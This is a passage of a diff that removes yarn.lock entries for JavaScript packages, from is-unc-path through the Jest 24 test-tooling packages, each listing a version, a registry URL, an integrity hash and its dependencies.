-
-is-unc-path@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/is-unc-path/-/is-unc-path-1.0.0.tgz#d731e8898ed090a12c352ad2eaed5095ad322c9d"
-  integrity sha512-mrGpVd0fs7WWLfVsStvgF6iEJnbjDFZh9/emhRDcGWTduTfNHd9CHeUwH3gYIjdbwo4On6hunkztwOaAw0yllQ==
-  dependencies:
-    unc-path-regex "^0.1.2"
-
-is-utf8@^0.2.0, is-utf8@^0.2.1:
-  version "0.2.1"
-  resolved "https://registry.yarnpkg.com/is-utf8/-/is-utf8-0.2.1.tgz#4b0da1442104d1b336340e80797e865cf39f7d72"
-  integrity sha1-Sw2hRCEE0bM2NA6AeX6GXPOffXI=
-
-is-valid-glob@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/is-valid-glob/-/is-valid-glob-1.0.0.tgz#29bf3eff701be2d4d315dbacc39bc39fe8f601aa"
-  integrity sha1-Kb8+/3Ab4tTTFdusw5vDn+j2Aao=
-
-is-what@^3.12.0:
-  version "3.14.1"
-  resolved "https://registry.yarnpkg.com/is-what/-/is-what-3.14.1.tgz#e1222f46ddda85dead0fd1c9df131760e77755c1"
-  integrity sha512-sNxgpk9793nzSs7bA6JQJGeIuRBQhAaNGG77kzYQgMkrID+lS6SlK07K5LaptscDlSaIgH+GPFzf+d75FVxozA==
-
-is-windows@^1.0.1, is-windows@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/is-windows/-/is-windows-1.0.2.tgz#d1850eb9791ecd18e6182ce12a30f396634bb19d"
-  integrity sha512-eXK1UInq2bPmjyX6e3VHIzMLobc4J94i4AWn+Hpq3OU5KkrRC96OAcR3PRJ/pGu6m8TRnBHP9dkXQVsT/COVIA==
-
-is-wsl@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/is-wsl/-/is-wsl-1.1.0.tgz#1f16e4aa22b04d1336b66188a66af3c600c3a66d"
-  integrity sha1-HxbkqiKwTRM2tmGIpmrzxgDDpm0=
-
-is-wsl@^2.1.1:
-  version "2.2.0"
-  resolved "https://registry.yarnpkg.com/is-wsl/-/is-wsl-2.2.0.tgz#74a4c76e77ca9fd3f932f290c17ea326cd157271"
-  integrity sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww==
-  dependencies:
-    is-docker "^2.0.0"
-
-isarray@0.0.1:
-  version "0.0.1"
-  resolved "https://registry.yarnpkg.com/isarray/-/isarray-0.0.1.tgz#8a18acfca9a8f4177e09abfc6038939b05d1eedf"
-  integrity sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=
-
-isarray@1.0.0, isarray@^1.0.0, isarray@~1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/isarray/-/isarray-1.0.0.tgz#bb935d48582cba168c06834957a54a3e07124f11"
-  integrity sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=
-
-isarray@^2.0.1:
-  version "2.0.5"
-  resolved "https://registry.yarnpkg.com/isarray/-/isarray-2.0.5.tgz#8af1e4c1221244cc62459faf38940d4e644a5723"
-  integrity sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==
-
-isexe@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/isexe/-/isexe-2.0.0.tgz#e8fbf374dc556ff8947a10dcb0572d633f2cfa10"
-  integrity sha1-6PvzdNxVb/iUehDcsFctYz8s+hA=
-
-iso-constants@^0.1.2:
-  version "0.1.2"
-  resolved "https://registry.yarnpkg.com/iso-constants/-/iso-constants-0.1.2.tgz#3d2456ed5aeaa55d18564f285ba02a47a0d885b4"
-  integrity sha512-OTCM5ZCQsHBCI4Wdu4tSxvDIkmDHd5EwJDps5mKqnQnWJSKlnwMs3EDZ4n3Fh1tmkWkDlyd2vCDbEYuPbyrUNQ==
-
-iso-url@^0.4.7, iso-url@~0.4.7:
-  version "0.4.7"
-  resolved "https://registry.yarnpkg.com/iso-url/-/iso-url-0.4.7.tgz#de7e48120dae46921079fe78f325ac9e9217a385"
-  integrity sha512-27fFRDnPAMnHGLq36bWTpKET+eiXct3ENlCcdcMdk+mjXrb2kw3mhBUg1B7ewAC0kVzlOPhADzQgz1SE6Tglog==
-
-isobject@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/isobject/-/isobject-2.1.0.tgz#f065561096a3f1da2ef46272f815c840d87e0c89"
-  integrity sha1-8GVWEJaj8dou9GJy+BXIQNh+DIk=
-  dependencies:
-    isarray "1.0.0"
-
-isobject@^3.0.0, isobject@^3.0.1:
-  version "3.0.1"
-  resolved "https://registry.yarnpkg.com/isobject/-/isobject-3.0.1.tgz#4e431e92b11a9731636aa1f9c8d1ccbcfdab78df"
-  integrity sha1-TkMekrEalzFjaqH5yNHMvP2reN8=
-
-isomorphic-fetch@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/isomorphic-fetch/-/isomorphic-fetch-3.0.0.tgz#0267b005049046d2421207215d45d6a262b8b8b4"
-  integrity sha512-qvUtwJ3j6qwsF3jLxkZ72qCgjMysPzDfeV240JHiGZsANBYd+EEuu35v7dfrJ9Up0Ak07D7GGSkGhCHTqg/5wA==
-  dependencies:
-    node-fetch "^2.6.1"
-    whatwg-fetch "^3.4.1"
-
-isstream@~0.1.2:
-  version "0.1.2"
-  resolved "https://registry.yarnpkg.com/isstream/-/isstream-0.1.2.tgz#47e63f7af55afa6f92e1500e690eb8b8529c099a"
-  integrity sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo=
-
-istanbul-lib-coverage@^2.0.2, istanbul-lib-coverage@^2.0.5:
-  version "2.0.5"
-  resolved "https://registry.yarnpkg.com/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.5.tgz#675f0ab69503fad4b1d849f736baaca803344f49"
-  integrity sha512-8aXznuEPCJvGnMSRft4udDRDtb1V3pkQkMMI5LI+6HuQz5oQ4J2UFn1H82raA3qJtyOLkkwVqICBQkjnGtn5mA==
-
-istanbul-lib-instrument@^3.0.1, istanbul-lib-instrument@^3.3.0:
-  version "3.3.0"
-  resolved "https://registry.yarnpkg.com/istanbul-lib-instrument/-/istanbul-lib-instrument-3.3.0.tgz#a5f63d91f0bbc0c3e479ef4c5de027335ec6d630"
-  integrity sha512-5nnIN4vo5xQZHdXno/YDXJ0G+I3dAm4XgzfSVTPLQpj/zAV2dV6Juy0yaf10/zrJOJeHoN3fraFe+XRq2bFVZA==
-  dependencies:
-    "@babel/generator" "^7.4.0"
-    "@babel/parser" "^7.4.3"
-    "@babel/template" "^7.4.0"
-    "@babel/traverse" "^7.4.3"
-    "@babel/types" "^7.4.0"
-    istanbul-lib-coverage "^2.0.5"
-    semver "^6.0.0"
-
-istanbul-lib-report@^2.0.4:
-  version "2.0.8"
-  resolved "https://registry.yarnpkg.com/istanbul-lib-report/-/istanbul-lib-report-2.0.8.tgz#5a8113cd746d43c4889eba36ab10e7d50c9b4f33"
-  integrity sha512-fHBeG573EIihhAblwgxrSenp0Dby6tJMFR/HvlerBsrCTD5bkUuoNtn3gVh29ZCS824cGGBPn7Sg7cNk+2xUsQ==
-  dependencies:
-    istanbul-lib-coverage "^2.0.5"
-    make-dir "^2.1.0"
-    supports-color "^6.1.0"
-
-istanbul-lib-source-maps@^3.0.1:
-  version "3.0.6"
-  resolved "https://registry.yarnpkg.com/istanbul-lib-source-maps/-/istanbul-lib-source-maps-3.0.6.tgz#284997c48211752ec486253da97e3879defba8c8"
-  integrity sha512-R47KzMtDJH6X4/YW9XTx+jrLnZnscW4VpNN+1PViSYTejLVPWv7oov+Duf8YQSPyVRUvueQqz1TcsC6mooZTXw==
-  dependencies:
-    debug "^4.1.1"
-    istanbul-lib-coverage "^2.0.5"
-    make-dir "^2.1.0"
-    rimraf "^2.6.3"
-    source-map "^0.6.1"
-
-istanbul-reports@^2.2.6:
-  version "2.2.7"
-  resolved "https://registry.yarnpkg.com/istanbul-reports/-/istanbul-reports-2.2.7.tgz#5d939f6237d7b48393cc0959eab40cd4fd056931"
-  integrity sha512-uu1F/L1o5Y6LzPVSVZXNOoD/KXpJue9aeLRd0sM9uMXfZvzomB0WxVamWb5ue8kA2vVWEmW7EG+A5n3f1kqHKg==
-  dependencies:
-    html-escaper "^2.0.0"
-
-it-all@^1.0.1:
-  version "1.0.5"
-  resolved "https://registry.yarnpkg.com/it-all/-/it-all-1.0.5.tgz#e880510d7e73ebb79063a76296a2eb3cb77bbbdb"
-  integrity sha512-ygD4kA4vp8fi+Y+NBgEKt6W06xSbv6Ub/0V8d1r3uCyJ9Izwa1UspkIOlqY9fOee0Z1w3WRo1+VWyAU4DgtufA==
-
-it-concat@^1.0.0:
-  version "1.0.3"
-  resolved "https://registry.yarnpkg.com/it-concat/-/it-concat-1.0.3.tgz#84db9376e4c77bf7bc1fd933bb90f184e7cef32b"
-  integrity sha512-sjeZQ1BWQ9U/W2oI09kZgUyvSWzQahTkOkLIsnEPgyqZFaF9ME5gV6An4nMjlyhXKWQMKEakQU8oRHs2SdmeyA==
-  dependencies:
-    bl "^4.0.0"
-
-it-glob@0.0.8:
-  version "0.0.8"
-  resolved "https://registry.yarnpkg.com/it-glob/-/it-glob-0.0.8.tgz#b63d24945c18b35de8bb593a8c872fd0257c0cac"
-  integrity sha512-PmIAgb64aJPM6wwT1UTlNDAJnNgdGrvr0vRr3AYCngcUuq1KaAovuz0dQAmUkaXudDG3EQzc7OttuLW9DaL3YQ==
-  dependencies:
-    fs-extra "^8.1.0"
-    minimatch "^3.0.4"
-
-it-last@^1.0.1:
-  version "1.0.5"
-  resolved "https://registry.yarnpkg.com/it-last/-/it-last-1.0.5.tgz#5c711c7d58948bcbc8e0cb129af3a039ba2a585b"
-  integrity sha512-PV/2S4zg5g6dkVuKfgrQfN2rUN4wdTI1FzyAvU+i8RV96syut40pa2s9Dut5X7SkjwA3P0tOhLABLdnOJ0Y/4Q==
-
-it-map@^1.0.0:
-  version "1.0.5"
-  resolved "https://registry.yarnpkg.com/it-map/-/it-map-1.0.5.tgz#2f6a9b8f0ba1ed1aeadabf86e00b38c73a1dc299"
-  integrity sha512-EElupuWhHVStUgUY+OfTJIS2MZed96lDrAXzJUuqiiqLnIKoBRqtX1ZG2oR0bGDsSppmz83MtzCeKLZ9TVAUxQ==
-
-it-peekable@0.0.1:
-  version "0.0.1"
-  resolved "https://registry.yarnpkg.com/it-peekable/-/it-peekable-0.0.1.tgz#e3f91583d172444b9cd894ed2df6e26f0c176617"
-  integrity sha512-fd0JzbNldseeq+FFWthbqYB991UpKNyjPG6LqFhIOmJviCxSompMyoopKIXvLPLY+fBhhv2CT5PT31O/lEnTHw==
-
-it-reader@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/it-reader/-/it-reader-2.1.0.tgz#b1164be343f8538d8775e10fb0339f61ccf71b0f"
-  integrity sha512-hSysqWTO9Tlwc5EGjVf8JYZzw0D2FsxD/g+eNNWrez9zODxWt6QlN6JAMmycK72Mv4jHEKEXoyzUN4FYGmJaZw==
-  dependencies:
-    bl "^4.0.0"
-
-it-tar@^1.2.2:
-  version "1.2.2"
-  resolved "https://registry.yarnpkg.com/it-tar/-/it-tar-1.2.2.tgz#8d79863dad27726c781a4bcc491f53c20f2866cf"
-  integrity sha512-M8V4a9I+x/vwXTjqvixcEZbQZHjwDIb8iUQ+D4M2QbhAdNs3WKVSl+45u5/F2XFx6jYMFOGzMVlKNK/uONgNIA==
-  dependencies:
-    bl "^4.0.0"
-    buffer "^5.4.3"
-    iso-constants "^0.1.2"
-    it-concat "^1.0.0"
-    it-reader "^2.0.0"
-    p-defer "^3.0.0"
-
-it-to-buffer@^1.0.0:
-  version "1.0.5"
-  resolved "https://registry.yarnpkg.com/it-to-buffer/-/it-to-buffer-1.0.5.tgz#70c5aa1dd055621e862b58973534148af302f3e3"
-  integrity sha512-dczvg0VeXkfr2i2IQ3GGWEATBbk4Uggr+YnvBz76/Yp0zFJZTIOeDCz2KyFDxSDHNI62OlldbJXWmDPb5nFQeg==
-  dependencies:
-    buffer "^5.5.0"
-
-it-to-stream@^0.1.1, it-to-stream@^0.1.2:
-  version "0.1.2"
-  resolved "https://registry.yarnpkg.com/it-to-stream/-/it-to-stream-0.1.2.tgz#7163151f75b60445e86b8ab1a968666acaacfe7b"
-  integrity sha512-DTB5TJRZG3untmZehcaFN0kGWl2bNv7tnJRgQHAO9QEt8jfvVRrebZtnD5NZd4SCj4WVPjl0LSrugNWE/UaZRQ==
-  dependencies:
-    buffer "^5.6.0"
-    fast-fifo "^1.0.0"
-    get-iterator "^1.0.2"
-    p-defer "^3.0.0"
-    p-fifo "^1.0.0"
-    readable-stream "^3.6.0"
-
-iterall@^1.2.1:
-  version "1.3.0"
-  resolved "https://registry.yarnpkg.com/iterall/-/iterall-1.3.0.tgz#afcb08492e2915cbd8a0884eb93a8c94d0d72fea"
-  integrity sha512-QZ9qOMdF+QLHxy1QIpUHUU1D5pS2CG2P69LF6L6CPjPYA/XMOmKV3PZpawHoAjHNyB0swdVTRxdYT4tbBbxqwg==
-
-jest-changed-files@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.yarnpkg.com/jest-changed-files/-/jest-changed-files-24.9.0.tgz#08d8c15eb79a7fa3fc98269bc14b451ee82f8039"
-  integrity sha512-6aTWpe2mHF0DhL28WjdkO8LyGjs3zItPET4bMSeXU6T3ub4FPMw+mcOcbdGXQOAfmLcxofD23/5Bl9Z4AkFwqg==
-  dependencies:
-    "@jest/types" "^24.9.0"
-    execa "^1.0.0"
-    throat "^4.0.0"
-
-jest-cli@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.yarnpkg.com/jest-cli/-/jest-cli-24.9.0.tgz#ad2de62d07472d419c6abc301fc432b98b10d2af"
-  integrity sha512-+VLRKyitT3BWoMeSUIHRxV/2g8y9gw91Jh5z2UmXZzkZKpbC08CSehVxgHUwTpy+HwGcns/tqafQDJW7imYvGg==
-  dependencies:
-    "@jest/core" "^24.9.0"
-    "@jest/test-result" "^24.9.0"
-    "@jest/types" "^24.9.0"
-    chalk "^2.0.1"
-    exit "^0.1.2"
-    import-local "^2.0.0"
-    is-ci "^2.0.0"
-    jest-config "^24.9.0"
-    jest-util "^24.9.0"
-    jest-validate "^24.9.0"
-    prompts "^2.0.1"
-    realpath-native "^1.1.0"
-    yargs "^13.3.0"
-
-jest-config@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.yarnpkg.com/jest-config/-/jest-config-24.9.0.tgz#fb1bbc60c73a46af03590719efa4825e6e4dd1b5"
-  integrity sha512-RATtQJtVYQrp7fvWg6f5y3pEFj9I+H8sWw4aKxnDZ96mob5i5SD6ZEGWgMLXQ4LE8UurrjbdlLWdUeo+28QpfQ==
-  dependencies:
-    "@babel/core" "^7.1.0"
-    "@jest/test-sequencer" "^24.9.0"
-    "@jest/types" "^24.9.0"
-    babel-jest "^24.9.0"
-    chalk "^2.0.1"
-    glob "^7.1.1"
-    jest-environment-jsdom "^24.9.0"
-    jest-environment-node "^24.9.0"
-    jest-get-type "^24.9.0"
-    jest-jasmine2 "^24.9.0"
-    jest-regex-util "^24.3.0"
-    jest-resolve "^24.9.0"
-    jest-util "^24.9.0"
-    jest-validate "^24.9.0"
-    micromatch "^3.1.10"
-    pretty-format "^24.9.0"
-    realpath-native "^1.1.0"
-
-jest-diff@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.yarnpkg.com/jest-diff/-/jest-diff-24.9.0.tgz#931b7d0d5778a1baf7452cb816e325e3724055da"
-  integrity sha512-qMfrTs8AdJE2iqrTp0hzh7kTd2PQWrsFyj9tORoKmu32xjPjeE4NyjVRDz8ybYwqS2ik8N4hsIpiVTyFeo2lBQ==
-  dependencies:
-    chalk "^2.0.1"
-    diff-sequences "^24.9.0"
-    jest-get-type "^24.9.0"
-    pretty-format "^24.9.0"
-
-jest-diff@^26.0.0:
-  version "26.6.2"
-  resolved "https://registry.yarnpkg.com/jest-diff/-/jest-diff-26.6.2.tgz#1aa7468b52c3a68d7d5c5fdcdfcd5e49bd164394"
-  integrity sha512-6m+9Z3Gv9wN0WFVasqjCL/06+EFCMTqDEUl/b87HYK2rAPTyfz4ZIuSlPhY51PIQRWx5TaxeF1qmXKe9gfN3sA==
-  dependencies:
-    chalk "^4.0.0"
-    diff-sequences "^26.6.2"
-    jest-get-type "^26.3.0"
-    pretty-format "^26.6.2"
-
-jest-docblock@^24.3.0:
-  version "24.9.0"
-  resolved "https://registry.yarnpkg.com/jest-docblock/-/jest-docblock-24.9.0.tgz#7970201802ba560e1c4092cc25cbedf5af5a8ce2"
-  integrity sha512-F1DjdpDMJMA1cN6He0FNYNZlo3yYmOtRUnktrT9Q37njYzC5WEaDdmbynIgy0L/IvXvvgsG8OsqhLPXTpfmZAA==
-  dependencies:
-    detect-newline "^2.1.0"
-
-jest-each@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.yarnpkg.com/jest-each/-/jest-each-24.9.0.tgz#eb2da602e2a610898dbc5f1f6df3ba86b55f8b05"
-  integrity sha512-ONi0R4BvW45cw8s2Lrx8YgbeXL1oCQ/wIDwmsM3CqM/nlblNCPmnC3IPQlMbRFZu3wKdQ2U8BqM6lh3LJ5Bsog==
-  dependencies:
-    "@jest/types" "^24.9.0"
-    chalk "^2.0.1"
-    jest-get-type "^24.9.0"
-    jest-util "^24.9.0"
-    pretty-format "^24.9.0"
-
-jest-environment-jsdom-fourteen@1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/jest-environment-jsdom-fourteen/-/jest-environment-jsdom-fourteen-1.0.1.tgz#4cd0042f58b4ab666950d96532ecb2fc188f96fb"
-  integrity sha512-DojMX1sY+at5Ep+O9yME34CdidZnO3/zfPh8UW+918C5fIZET5vCjfkegixmsi7AtdYfkr4bPlIzmWnlvQkP7Q==
-  dependencies:
-    "@jest/environment" "^24.3.0"
-    "@jest/fake-timers" "^24.3.0"
-    "@jest/types" "^24.3.0"
-    jest-mock "^24.0.0"
-    jest-util "^24.0.0"
-    jsdom "^14.1.0"
-
-jest-environment-jsdom@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.yarnpkg.com/jest-environment-jsdom/-/jest-environment-jsdom-24.9.0.tgz#4b0806c7fc94f95edb369a69cc2778eec2b7375b"
-  integrity sha512-Zv9FV9NBRzLuALXjvRijO2351DRQeLYXtpD4xNvfoVFw21IOKNhZAEUKcbiEtjTkm2GsJ3boMVgkaR7rN8qetA==
-  dependencies:
-    "@jest/environment" "^24.9.0"
-    "@jest/fake-timers" "^24.9.0"
-    "@jest/types" "^24.9.0"
-    jest-mock "^24.9.0"
-    jest-util "^24.9.0"
-    jsdom "^11.5.1"
-
-jest-environment-node@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.yarnpkg.com/jest-environment-node/-/jest-environment-node-24.9.0.tgz#333d2d2796f9687f2aeebf0742b519f33c1cbfd3"
-  integrity sha512-6d4V2f4nxzIzwendo27Tr0aFm+IXWa0XEUnaH6nU0FMaozxovt+sfRvh4J47wL1OvF83I3SSTu0XK+i4Bqe7uA==
-  dependencies:
-    "@jest/environment" "^24.9.0"
-    "@jest/fake-timers" "^24.9.0"
-    "@jest/types" "^24.9.0"
-    jest-mock "^24.9.0"
-    jest-util "^24.9.0"
-
-jest-get-type@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.yarnpkg.com/jest-get-type/-/jest-get-type-24.9.0.tgz#1684a0c8a50f2e4901b6644ae861f579eed2ef0e"
-  integrity sha512-lUseMzAley4LhIcpSP9Jf+fTrQ4a1yHQwLNeeVa2cEmbCGeoZAtYPOIv8JaxLD/sUpKxetKGP+gsHl8f8TSj8Q==
-
-jest-get-type@^26.3.0:
-  version "26.3.0"
-  resolved "https://registry.yarnpkg.com/jest-get-type/-/jest-get-type-26.3.0.tgz#e97dc3c3f53c2b406ca7afaed4493b1d099199e0"
-  integrity sha512-TpfaviN1R2pQWkIihlfEanwOXK0zcxrKEE4MlU6Tn7keoXdN6/3gK/xl0yEh8DOunn5pOVGKf8hB4R9gVh04ig==
-
-jest-haste-map@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.yarnpkg.com/jest-haste-map/-/jest-haste-map-24.9.0.tgz#b38a5d64274934e21fa417ae9a9fbeb77ceaac7d"
-  integrity sha512-kfVFmsuWui2Sj1Rp1AJ4D9HqJwE4uwTlS/vO+eRUaMmd54BFpli2XhMQnPC2k4cHFVbB2Q2C+jtI1AGLgEnCjQ==
-  dependencies:
-    "@jest/types" "^24.9.0"
-    anymatch "^2.0.0"
-    fb-watchman "^2.0.0"
-    graceful-fs "^4.1.15"
-    invariant "^2.2.4"
-    jest-serializer "^24.9.0"
-    jest-util "^24.9.0"
-    jest-worker "^24.9.0"
-    micromatch "^3.1.10"
-    sane "^4.0.3"
-    walker "^1.0.7"
-  optionalDependencies:
-    fsevents "^1.2.7"
-
-jest-jasmine2@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.yarnpkg.com/jest-jasmine2/-/jest-jasmine2-24.9.0.tgz#1f7b1bd3242c1774e62acabb3646d96afc3be6a0"
-  integrity sha512-Cq7vkAgaYKp+PsX+2/JbTarrk0DmNhsEtqBXNwUHkdlbrTBLtMJINADf2mf5FkowNsq8evbPc07/qFO0AdKTzw==
-  dependencies:
-    "@babel/traverse" "^7.1.0"
-    "@jest/environment" "^24.9.0"
-    "@jest/test-result" "^24.9.0"
-    "@jest/types" "^24.9.0"
-    chalk "^2.0.1"
-    co "^4.6.0"
-    expect "^24.9.0"
-    is-generator-fn "^2.0.0"
-    jest-each "^24.9.0"
-    jest-matcher-utils "^24.9.0"
-    jest-message-util "^24.9.0"
-    jest-runtime "^24.9.0"
-    jest-snapshot "^24.9.0"
-    jest-util "^24.9.0"
-    pretty-format "^24.9.0"
-    throat "^4.0.0"
-
-jest-leak-detector@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.yarnpkg.com/jest-leak-detector/-/jest-leak-detector-24.9.0.tgz#b665dea7c77100c5c4f7dfcb153b65cf07dcf96a"
-  integrity sha512-tYkFIDsiKTGwb2FG1w8hX9V0aUb2ot8zY/2nFg087dUageonw1zrLMP4W6zsRO59dPkTSKie+D4rhMuP9nRmrA==
-  dependencies:
-    jest-get-type "^24.9.0"
-    pretty-format "^24.9.0"
-
-jest-matcher-utils@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.yarnpkg.com/jest-matcher-utils/-/jest-matcher-utils-24.9.0.tgz#f5b3661d5e628dffe6dd65251dfdae0e87c3a073"
-  integrity sha512-OZz2IXsu6eaiMAwe67c1T+5tUAtQyQx27/EMEkbFAGiw52tB9em+uGbzpcgYVpA8wl0hlxKPZxrly4CXU/GjHA==
-  dependencies:
-    chalk "^2.0.1"
-    jest-diff "^24.9.0"
-    jest-get-type "^24.9.0"
-    pretty-format "^24.9.0"
-
-jest-message-util@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.yarnpkg.com/jest-message-util/-/jest-message-util-24.9.0.tgz#527f54a1e380f5e202a8d1149b0ec872f43119e3"
-  integrity sha512-oCj8FiZ3U0hTP4aSui87P4L4jC37BtQwUMqk+zk/b11FR19BJDeZsZAvIHutWnmtw7r85UmR3CEWZ0HWU2mAlw==
-  dependencies:
-    "@babel/code-frame" "^7.0.0"
-    "@jest/test-result" "^24.9.0"
-    "@jest/types" "^24.9.0"
-    "@types/stack-utils" "^1.0.1"
-    chalk "^2.0.1"
-    micromatch "^3.1.10"
-    slash "^2.0.0"
-    stack-utils "^1.0.1"
-
-jest-mock@^24.0.0, jest-mock@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.yarnpkg.com/jest-mock/-/jest-mock-24.9.0.tgz#c22835541ee379b908673ad51087a2185c13f1c6"
-  integrity sha512-3BEYN5WbSq9wd+SyLDES7AHnjH9A/ROBwmz7l2y+ol+NtSFO8DYiEBzoO1CeFc9a8DYy10EO4dDFVv/wN3zl1w==
-  dependencies:
-    "@jest/types" "^24.9.0"
-
-jest-pnp-resolver@^1.2.1:
-  version "1.2.2"
-  resolved "https://registry.yarnpkg.com/jest-pnp-resolver/-/jest-pnp-resolver-1.2.2.tgz#b704ac0ae028a89108a4d040b3f919dfddc8e33c"
-  integrity sha512-olV41bKSMm8BdnuMsewT4jqlZ8+3TCARAXjZGT9jcoSnrfUnRCqnMoF9XEeoWjbzObpqF9dRhHQj0Xb9QdF6/w==
-
-jest-regex-util@^24.3.0, jest-regex-util@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.yarnpkg.com/jest-regex-util/-/jest-regex-util-24.9.0.tgz#c13fb3380bde22bf6575432c493ea8fe37965636"
-  integrity sha512-05Cmb6CuxaA+Ys6fjr3PhvV3bGQmO+2p2La4hFbU+W5uOc479f7FdLXUWXw4pYMAhhSZIuKHwSXSu6CsSBAXQA==
-
-jest-resolve-dependencies@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.yarnpkg.com/jest-resolve-dependencies/-/jest-resolve-dependencies-24.9.0.tgz#ad055198959c4cfba8a4f066c673a3f0786507ab"
-  integrity sha512-Fm7b6AlWnYhT0BXy4hXpactHIqER7erNgIsIozDXWl5dVm+k8XdGVe1oTg1JyaFnOxarMEbax3wyRJqGP2Pq+g==
-  dependencies:
-    "@jest/types" "^24.9.0"
-    jest-regex-util "^24.3.0"
-    jest-snapshot "^24.9.0"
-
-jest-resolve@24.9.0, jest-resolve@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.yarnpkg.com/jest-resolve/-/jest-resolve-24.9.0.tgz#dff04c7687af34c4dd7e524892d9cf77e5d17321"
-  integrity sha512-TaLeLVL1l08YFZAt3zaPtjiVvyy4oSA6CRe+0AFPPVX3Q/VI0giIWWoAvoS5L96vj9Dqxj4fB5p2qrHCmTU/MQ==
-  dependencies:
-    "@jest/types" "^24.9.0"
-    browser-resolve "^1.11.3"
-    chalk "^2.0.1"
-    jest-pnp-resolver "^1.2.1"
-    realpath-native "^1.1.0"
-
-jest-runner@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.yarnpkg.com/jest-runner/-/jest-runner-24.9.0.tgz#574fafdbd54455c2b34b4bdf4365a23857fcdf42"
-  integrity sha512-KksJQyI3/0mhcfspnxxEOBueGrd5E4vV7ADQLT9ESaCzz02WnbdbKWIf5Mkaucoaj7obQckYPVX6JJhgUcoWWg==
-  dependencies:
-    "@jest/console" "^24.7.1"
-    "@jest/environment" "^24.9.0"
-    "@jest/test-result" "^24.9.0"
-    "@jest/types" "^24.9.0"
-    chalk "^2.4.2"
-    exit "^0.1.2"
-    graceful-fs "^4.1.15"
-    jest-config "^24.9.0"
-    jest-docblock "^24.3.0"
-    jest-haste-map "^24.9.0"
-    jest-jasmine2 "^24.9.0"
-    jest-leak-detector "^24.9.0"
-    jest-message-util "^24.9.0"
-    jest-resolve "^24.9.0"
-    jest-runtime "^24.9.0"
-    jest-util "^24.9.0"
-    jest-worker "^24.6.0"
-    source-map-support "^0.5.6"
-    throat "^4.0.0"
-
-jest-runtime@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.yarnpkg.com/jest-runtime/-/jest-runtime-24.9.0.tgz#9f14583af6a4f7314a6a9d9f0226e1a781c8e4ac"
-  integrity sha512-8oNqgnmF3v2J6PVRM2Jfuj8oX3syKmaynlDMMKQ4iyzbQzIG6th5ub/lM2bCMTmoTKM3ykcUYI2Pw9xwNtjMnw==
-  dependencies:
-    "@jest/console" "^24.7.1"
-    "@jest/environment" "^24.9.0"
-    "@jest/source-map" "^24.3.0"
-    "@jest/transform" "^24.9.0"
-    "@jest/types" "^24.9.0"
-    "@types/yargs" "^13.0.0"
-    chalk "^2.0.1"
-    exit "^0.1.2"
-    glob "^7.1.3"
-    graceful-fs "^4.1.15"
-    jest-config "^24.9.0"
-    jest-haste-map "^24.9.0"
-    jest-message-util "^24.9.0"
-    jest-mock "^24.9.0"
-    jest-regex-util "^24.3.0"
-    jest-resolve "^24.9.0"
-    jest-snapshot "^24.9.0"
-    jest-util "^24.9.0"
-    jest-validate "^24.9.0"
-    realpath-native "^1.1.0"
-    slash "^2.0.0"
-    strip-bom "^3.0.0"
-    yargs "^13.3.0"
-
-jest-serializer@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.yarnpkg.com/jest-serializer/-/jest-serializer-24.9.0.tgz#e6d7d7ef96d31e8b9079a714754c5d5c58288e73"
-  integrity sha512-DxYipDr8OvfrKH3Kel6NdED3OXxjvxXZ1uIY2I9OFbGg+vUkkg7AGvi65qbhbWNPvDckXmzMPbK3u3HaDO49bQ==
-
-jest-snapshot@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.yarnpkg.com/jest-snapshot/-/jest-snapshot-24.9.0.tgz#ec8e9ca4f2ec0c5c87ae8f925cf97497b0e951ba"
-  integrity sha512-uI/rszGSs73xCM0l+up7O7a40o90cnrk429LOiK3aeTvfC0HHmldbd81/B7Ix81KSFe1lwkbl7GnBGG4UfuDew==
-  dependencies:
-    "@babel/types" "^7.0.0"
-    "@jest/types" "^24.9.0"
-    chalk "^2.0.1"
-    expect "^24.9.0"
-    jest-diff "^24.9.0"
-    jest-get-type "^24.9.0"
-    jest-matcher-utils "^24.9.0"
-    jest-message-util "^24.9.0"
-    jest-resolve "^24.9.0"
-    mkdirp "^0.5.1"
-    natural-compare "^1.4.0"
-    pretty-format "^24.9.0"
-    semver "^6.2.0"
-
